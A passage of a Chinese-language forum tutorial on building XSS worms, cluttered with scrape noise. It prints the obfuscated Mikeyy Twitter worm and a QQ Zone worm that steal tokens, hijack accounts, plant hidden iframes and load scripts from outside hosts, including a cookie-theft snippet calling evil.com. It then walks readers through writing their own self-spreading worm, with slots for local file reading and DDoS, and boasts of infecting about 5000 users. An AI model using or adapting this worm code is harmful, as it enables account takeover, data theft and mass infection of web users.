. ?8 n& ]  L3 Y$ Z</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
8 I6 ?2 Y1 ]: n6 |3 V, ~3 T
% e2 t1 q0 r8 t' B$ F: dvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
9 ^0 S) p* m6 B0 Z2 T0 p
( G8 q7 C/ x& H, z$ ?" f' s

$ n) w; M4 C: A  Q  F" B: hXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

XmlHttp.send(null);

<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
( W, l/ p; Q5 q+ h6 z% m5 A第一版:
0 K+ Y8 G: ?, I: E1 V  下载 (5.1 KB)
1 e+ {7 `; ]7 e- U
6 天前 08:27

0 X0 j8 c, X5 N- [第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

0 @, j7 X9 J) H6 k+ ^& m   2.   

   3. function XHConn(){  

# b! u5 G7 t, }1 E) [1 }  n" v   4.   var _0x6687x2,_0x6687x3=false;  

   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
9 L: U/ x6 K7 Q3 R
   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
$ W1 s8 D  g, ?- U1 m# V' R
   8.   catch(e) { _0x6687x2=false; }; }; };  
0 g  M' e. T" E/ q复制代码第六版:   1. function wait() {  
5 U: K- H9 g" P5 c% c
   2.   var content = document.documentElement.innerHTML;  

   3.   var tmp_cookie=document.cookie;  
7 N2 b( t  Z# N
1 i, G) D: r' M   4.   var tmp_posted=tmp_cookie.match(/posted/);  

/ w7 t. j& j" }* q0 s3 V   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
# N+ I8 }* D( [: ^- a
" n" [4 A- `, f. B: q   6.   var authtoken=authreg.exec(content);  
* p+ Z$ i8 G% @! i0 I
$ p" p2 t+ b1 |( |   7.   var authtoken=authtoken[1];  

   8.   var randomUpdate= new Array();  

; p. N) ]/ m; Q7 C   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

7 i" c8 @) W# B. t) y  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
0 n+ ]- P9 Q- X% }! B  ?
  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
( ?2 F, k2 K, s7 C/ ?1 y
! Q, r/ J% ~4 F2 f" N& p4 t( ~0 {! v* k  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

6 t) |: X% T- i3 `9 d' i( \6 T  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
9 M0 m; j6 Y) g8 l- V; \
  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
. `3 a7 f4 w7 e; n
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
9 R8 [" m1 V- r3 H) S
  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

* E! O3 g9 ~1 p6 k$ K- e  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

; d/ F8 H6 |, H% J! J  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
+ c7 ~" j# G( d- ]
& G- V7 y  P; z* e  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

1 @% X+ o3 T( a, ^0 B- I+ @7 z  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

- `4 ^% n+ I0 {2 ?' P  24.     
5 S" a5 c% e5 U* j$ q5 [1 k
  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

; }( ~* v$ R4 x" n+ h  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

- C2 U, F& V( X  27.     

$ {( ^  Y# b  k  28.   var ajaxConn= new XHConn();  
  S6 @* @; o' @
  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

" F6 @& L4 H6 ~) J7 y9 }: C  30.   var _0xf81bx1c="Mikeyy";  
9 s- D0 a; n* g' s5 O2 B
/ G/ J) _' Q% L) [3 C  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  
. k+ I$ t  G& z0 H+ b6 B
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
3 ~6 g/ G. E5 M
' c! L  f3 i+ b& i# e! i/ c  [: v% J7 q  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
! d% B6 _: e3 X1 t& h! h7 w4 w
' y6 M! P& Q$ _. D) |  35.   var XSS=urlencode(genXSS);  
4 b5 @2 u4 v) J9 \5 x3 M
  36.   var ajaxConn2= new XHConn();  

  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
8 b8 Z+ V' q$ t. w& [
, H- Y+ r+ w: m7 m, Q  38.     

$ V$ H" ?. C6 \5 W  39. } ;  
' n$ _! X( {% T
* G' r# `  k) K& M8 E5 h" l  E  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
$ Q& T% k. ?; g; E0 j% K% R) t
window.onerror=killErrors;


( d2 T' o1 `1 Q/ e& D" _
) Y/ q+ r+ i3 I  e, B7 m$ Zvar shendu;shendu=4;

! x( r+ `& C, \+ `$ p. \- v" x1 N5 a//---------------global---v------------------------------------------

//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
6 @) c9 C5 U/ S+ k# a+ T
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

, j& z/ k: v1 L# Jvar myblogurl=new Array();var myblogid=new Array();
1 `% _" o* B( s1 V, j: z
  H' b. q+ ?0 |9 s        var gurl=document.location.href;

        var gurle=gurl.indexOf("com/");

        gurl=gurl.substring(0,gurle+3);        
1 L) F+ ^. \& {9 C7 v+ l+ T* n# H
        var visitorID=top.document.documentElement.outerHTML;
2 |; a* a/ m% w- F* |* m4 v
  v8 i, N/ `5 |           var cookieS=visitorID.indexOf("g_iLoginUin = ");

1 L1 J/ \  o' y        visitorID=visitorID.substring(cookieS+14);

        cookieS=visitorID.indexOf(",");

        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);
- h. l0 V, x  B* g
        DOshuamy();


: ]2 k3 H: @' L; x7 e. A
//挂马

+ ]% X% ]3 @4 O8 @/ Cfunction DOshuamy(){
4 N9 K: Q9 W! A2 \! h
var ssr=document.getElementById("veryTitle");
5 H4 F2 C0 S& O
, ]$ c+ m" C0 q9 s7 ]7 ussr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

' D' R8 z* f5 |) m1 ?5 T; V}
( ~- L% o% r  y" F% V  }9 K5 Y


//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
4 h, w5 p, m% |: c, J# R+ Y
& H" P) R( V# R5 X8 @" Kfunction get_my_blog(visitorID){
3 d8 f% A" f) l1 l. o5 W" }
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
6 x4 j3 L: R( F; N1 q: U4 j% J# }% N
3 c+ x- j1 y" J5 i   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的
6 }" x/ F! [* ^2 G" f% S$ A& p
- N/ d+ o8 f' C* H: k: H6 W. p     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
5 c8 k" v3 y! L3 I3 H. c
5 M( t0 E; _; I4 Z3 Q) X- x     xhr.send();guest=xhr.responseText;
* l9 ~# D3 {6 J6 c& z5 d( h
     get_my_blogurl(guest);    //执行这个函数

    }

8 u7 h5 W/ X* Y6 i% {, X2 n}
& ], }$ ?1 F3 ]* S$ |

# ?1 R5 x3 X5 K3 V0 x
( t' X9 R6 o- ^7 M+ }1 u2 w3 ~//这里似乎是判断没有登录的

function get_my_blogurl(guest){
4 t7 o& |+ u. C4 |! i4 w# J
  var mybloglist=guest;

  var myurls;var blogids;var blogide;
( X. `$ x' ?% l% @7 d& \# Z# c( L
  for(i=0;i<shendu;i++){

     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
# W% @6 F- x8 Z' s: G: T1 E# `
8 g" @! h5 Z0 j% ?8 N/ {7 t6 @     if(myurls!=-1){    //找到了就执行下面的
# v4 V# b2 ^* h, Z
- @* A/ f- p, B2 L; `' x0 J& Z         mybloglist=mybloglist.substring(myurls+11);

         myurls=mybloglist.indexOf(')');
& Y5 x) N2 D1 p
         myblogid=mybloglist.substring(0,myurls);

        }else{break;}

+ y( ^+ p3 E" g  V3 Q}
/ ^6 j- A1 B& L$ u  W
get_my_testself();    //执行这个函数

}

! a9 u2 C' K) o" n/ C. l& a7 p( Z

//这里往哪跳就不知道了

function get_my_testself(){
% F& }, u- z1 l# L5 m6 R
$ G" N: ]- ^. D3 ^+ z6 `, [% b  for(i=0;i<myblogid.length;i++){    //获得blogid的值

      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
$ P  y0 z+ j" v. ~3 Q  s
  l3 @5 t. y+ s. W9 |      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功

0 ~, W6 \: f) F8 @3 L              xhr2.open("GET",url,false);     //打开上面的那个url
  V; @0 ^/ s9 _) D& N; l6 x
0 n" j6 Z2 j0 Z/ m  m- C  x              xhr2.send();

# P# h* b1 ~- g: ]( ~, D              guest2=xhr2.responseText;
4 b( p, I6 J- {
$ @4 O" p1 G& C9 O. A7 U: B              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

: C5 N5 m3 j6 @: d6 O0 a) p7 `4 ]" y              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
; g2 ^. F& G' t/ l6 ?
              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

7 [. L7 {. u+ H# C/ f                targetblogurlid=myblogid;   

                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

                break;
9 }" q* m8 K9 B  D$ d
               }
% ]  o+ m" q3 {. K1 o
              if(mycheckit=="-1"){

% Y# s% T6 [) Y6 t2 }                targetblogurlid=myblogid;
7 E; w2 ^8 u1 R& R3 ]
                add_js(visitorID,targetblogurlid,gurl);    //执行它

* i% S' g% l0 ^' P                break;

               }
. W6 H  t: J# X
1 L! e; ^0 f: d' u  `        }      
9 ?) ~5 [1 i$ H5 ?! L
; J" y- G+ o" v- n/ j}

4 U' W% E3 }" {7 E4 {" ^$ H. c+ L; M}
9 |# Q; J5 A1 N+ U$ ~: t
6 @0 Z, J" P8 Q

0 t" u, o' d1 _: R1 G/ Z6 h( U//--------------------------------------  

6 [& K$ J0 W3 S2 y/ C//根据浏览器创建一个XMLHttpRequest对象

function createXMLHttpRequest(){
5 o8 W: r  U) a( v2 E
" D+ }9 R9 b) C& G1 e! y: M    var XMLhttpObject=null;  
* k: R1 R' \* w( x( W9 D$ ~
    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
7 H$ c- L* m5 L' s: o$ }* X) h
2 g# B* P- N& g- x& [* V    else  
2 ~2 w" j4 w0 ]. X+ _, Y( ~8 o
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
* }0 ]1 H3 ~& h# i$ O2 k
        for(var i=0;i<MSXML.length;i++)  
. {7 m! t8 v) C& j6 X5 ^% c# f
        {  
, L; y2 m, `+ A( |- u7 J, r
& S' o$ C; X% L+ a- S; P8 C            try  
3 ]/ \; h$ K) l& p
$ a( A" k% W4 J& D            {  
0 q# v$ I1 l- a
                XMLhttpObject=new ActiveXObject(MSXML);  

5 p7 n, H% `1 h/ K# e                break;  
7 f! g" M, {5 [, r, ?9 J- [
" D' \  L: t/ h3 b7 U            }  

9 m/ K9 N$ B! |+ A' }9 V# ^* ~8 U7 u            catch (ex) {  

            }  

& x! F- w, h4 @. M         }  
! M) {( {9 Z+ ]# `! Y9 E6 M
7 l7 ?& l: I2 K7 G; E/ b. s! l$ ?      }

* d8 \2 j4 l  I# y7 H) lreturn XMLhttpObject;

$ D: h# {/ }/ S" t* I9 W}  


" B0 b& m6 k# [/ D' D
//这里就是感染部分了

! X* ~) {+ o4 U0 a4 p1 `; Hfunction add_js(visitorID,targetblogurlid,gurl){
3 C, p1 p0 f# Y
var s2=document.createElement('script');
: C) k/ K$ S* z
, i! W; P' L1 T$ `s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
& c% Q9 Y/ S' T# }
1 Y$ G+ m# T6 x/ Z4 M2 P. u, ^s2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);

: z- v' I5 v8 [6 V( E2 l/ }) O$ Z}

2 o6 y3 {- k% h( j0 f1 f! t7 L+ f) _
$ I5 _  h8 _7 ]9 F9 l7 |4 f
& z( A' j' K( T# N1 g. Gfunction add_jsdel(visitorID,targetblogurlid,gurl){
3 ]" F+ M) h# T* C# g7 g$ q5 d: e0 m
var s2=document.createElement('script');

' G4 B- `4 ?/ W0 I, ^s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

! g3 q. k0 k: i+ vs2.type='text/javascript';
( l- ]  Y" ^3 o3 Q' E4 J: \
7 f8 ~' X& t# Z# B5 w3 t  wdocument.getElementsByTagName('head').item(0).appendChild(s2);
) l! [" O, I2 \
}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
0 r  p; S6 g9 v1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
% U4 G. B( l$ d9 ~3 d/ s* n; t
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
' _+ v4 D& M8 G: |/ G- A
  b4 f: q# o/ z% T综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~


7 f3 c5 y% a' k* R4 D' u下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
  w. Y# K2 P: D: y
/ l( }; I( E- R, @, Y- ~8 ^首先,自然是判断不同浏览器,创建不同的对象var request = false;

/ E3 t( M3 v( f2 l# Tif(window.XMLHttpRequest) {

3 ^* j3 _- i1 qrequest = new XMLHttpRequest();

if(request.overrideMimeType) {

7 p5 b. C7 h% \request.overrideMimeType('text/xml');
" ]  `  x& w# y5 @$ D  Y( s* q
5 }, W8 Z) {% G, O5 ?}
: t: R1 W! Q, U( n, z" y
1 H- R2 F2 A( `} else if(window.ActiveXObject) {
) Y0 B" d" F9 h( ~/ A7 n# L
# H1 ?# P8 P- f! Fvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
: f) _( a; J- \
for(var i=0; i<versions.length; i++) {
$ S2 F. ~+ ^* l, H3 y6 g- A; [4 [/ i
try {

request = new ActiveXObject(versions);

  A& T8 G0 x- J6 x2 p0 H} catch(e) {}

}

}
* W/ x6 o1 b" Y- _
9 R% ~4 E6 H# U2 WxmlHttpReq=request;
. R& X2 E; Z, @- n. o  U( _, p复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
' ~9 D4 U; N. A. k  B2 ?
        var Browser_Name=navigator.appName;
7 I& e8 o( }4 {  m
. L6 g1 n- Z0 }% @7 [+ ^        var Browser_Version=parseFloat(navigator.appVersion);
5 q# w8 f; m8 o( u
        var Browser_Agent=navigator.userAgent;
  h% r# v6 L8 `" T; G; n6 C
        
3 U& W" d- [% _0 w) d/ n2 Y
1 T- Z; N+ l% z" }$ f) U        var Actual_Version,Actual_Name;
/ P: o% O2 j3 d" v
        

- Q" S: n) |3 [4 _4 G7 `2 {8 b        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

! B% G; s8 a" b( e' n        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");
: U$ T, u. I7 k+ T: T3 a, t
  g5 \! K7 ]4 M2 [        
1 F0 P# p+ W4 s$ }" N# l6 U
6 e1 w: G8 j3 S        if(is_NN){

            if(Browser_Version>=5.0){
' V0 A  T/ _! u8 W0 x0 N
                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);

9 B" p2 A. G, y# H8 J& l6 _                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
* n/ u, U' J+ U9 f4 S' g& ]1 B! [


3 f; B+ \5 ?' F' y9 O3 E: w/ @1 R# I                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

8 l& K/ c/ w. H5 i( I: A! Y/ H                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
5 @; U$ _9 W6 p, x- l+ p: O
            }

+ @9 s. R8 N& L/ d            else{

) K' b! Y1 D- D% G- v7 K3 Y                Actual_Version=Browser_Version;

                Actual_Name=Browser_Name;
+ l8 U- Y5 u0 v5 U
            }

$ z* ~1 `8 Q" M" I% u& z/ z        }

        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);
/ F! J7 Y' M: }& L3 ~/ j
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";

            }
7 n' {7 H. U, w5 k- {$ K% u# v  L# Q
            else if(Browser_Agent.indexOf("Opera")!=-1){
5 B  Q" ]7 U. l2 z) F, i
                Actual_Name="Opera";
5 j  S; }& T( e& O9 g5 P! T
                var tempstart=Browser_Agent.indexOf("Opera");

" |- w  t+ }- `9 i+ C                var tempend=Browser_Agent.length;
# W, c$ A9 W4 J4 W, D, `+ O2 |4 F2 B
# K) L( l6 k3 z                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
7 A/ G' Q7 O+ f. I2 C# G' L
& ^9 S7 \7 z+ l0 M3 v/ E. ]- i9 D            }
, i) ]% g+ ^0 S
& t3 f- u# ?3 s        }

# y- X) M! L- }/ u# p        else if(is_Ch){
2 _  C3 h: e$ M! T2 v, d
            var Version_Start=Browser_Agent.indexOf("Chrome");
# j# F7 _6 N. l* ]
* a9 w: h/ T+ `" }8 I/ d            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
2 ?  a! C- Q, y# B  O
            Actual_Name=Browser_Name;

            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

4 a/ Y# L% ]3 J4 M                Actual_Name+="(Maxthon)";

            }
3 @" C9 I3 \2 r, t  D$ r5 f
: l0 T) ~; B; C3 I            else if(Browser_Agent.indexOf("Opera")!=-1){

. Q& z) w' w- Y                Actual_Name="Opera";
. Z' b2 n0 a. [, m/ \
                var tempstart=Browser_Agent.indexOf("Opera");
  {+ w# p. k* a5 ^4 Z& S
7 k+ n+ e" w; W' ~$ G                var tempend=Browser_Agent.length;
% B* O' ]  o: M4 k+ r. Q% f$ j2 y& a8 N
8 Q( `. W. {' A' G; S. @5 {                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
8 V2 S/ z9 Z9 E1 |) z0 F
            }
7 p/ P8 G$ f6 w* o. h3 V
8 Y' G) B6 A8 M; i) v6 b        }
! t3 L/ C* `4 J5 r6 h
        else{

. V2 K, U$ d2 V( j3 v% o, T  D            Actual_Name="Unknown Navigator"

( n& Y# i9 g7 P+ b            Actual_Version="Unknown Version"
. n9 @% p) v2 m1 X
        }
2 ^+ ^' d9 w% ]' s! D8 j! g# v' _9 a


! L7 Y$ d6 W8 I! h+ e        navigator.Actual_Name=Actual_Name;
, a- |" J' f0 {5 d- G4 z& E
        navigator.Actual_Version=Actual_Version;

2 r4 Z, [8 h8 N- P        

/ {* c+ H# R8 v/ K1 U        this.Name=Actual_Name;

        this.Version=Actual_Version;

    }

    browserinfo();

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

3 w9 U& h) d8 M- ]7 c" h: {9 D) F, P    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

; v2 T" M2 l; z' P    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

" O; k2 z# v6 {. |: n; k    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
+ u" z- K4 ^% {, p3 `) v复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
" v" A& C$ h; B. g% o9 B( _5 F
. S* R1 c5 D8 r7 E& O5 o/ g8 HxmlHttpReq.send(null);

var resource = xmlHttpReq.responseText;
, E( ]( m/ [! \! g4 N2 D
var id=0;var result;

3 q, J9 p8 e5 Fvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {

: N6 O" c! Q' h/ [& jid++;

}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
& w, P" q* Q5 Z+ b0 }- h* ]# [
* ~3 R1 _, U1 @no=resource.search(/my name is/);
3 ^3 B; @  ?, {
var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

var post="wd="+wd;
) B4 r  L* p+ E$ s7 V
; W1 h7 w) R$ E: exmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

4 j; _- q2 o- Z2 Q, fxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
% M: T# S  m, F2 v5 u8 b, Z6 h' ^' ~
xmlHttpReq.send(post);

" f# y4 z5 `* K- A$ l}
) C# H6 E8 L7 E* ]% b0 h2 F复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
' ]: T) X* K, d% ^* d6 i
var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
2 `8 m9 t- @) x/ m; l
! ~1 b+ T( `0 i+ r9 bvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
& k3 b) C8 v. R, r+ D8 _* R
5 ^: B( h. m0 `: _, B# Y8 dvar post="wd="+wd;

9 n3 r2 o" D3 _6 B6 L& DxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

- I1 Y0 ]2 r. p: v" exmlHttpReq.setRequestHeader("content-length",post.length);

  _9 k: \9 K. b* gxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);                 //把传播的信息 POST出去.
. e' \$ r3 D) P( V, c8 t- C
# K" U: G  ?0 o) C  L}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------

6 k+ ]# C% h3 }

  _2 k3 J3 c/ o: M$ s  l+ Y0 S  `7 T本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
% v6 U$ ~4 Z1 m& X& l9 y/ d蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.





6 i2 p( m" g4 Q
# w6 l+ H: }6 {. @* v& V

本文引用文档资料:

8 l0 W3 c6 m- y; L7 Q"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
& f* `" g% L5 H" r9 _: eOther XmlHttpRequest tricks (Amit Klein, January 2003)
; J, K6 Q& b' I9 p3 T% K. Q! A"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
! z8 _, |8 w# C  z1 h空虚浪子心BLOG http://www.inbreak.net
" }4 v, y7 J" `6 ~Xeye Team http://xeye.us/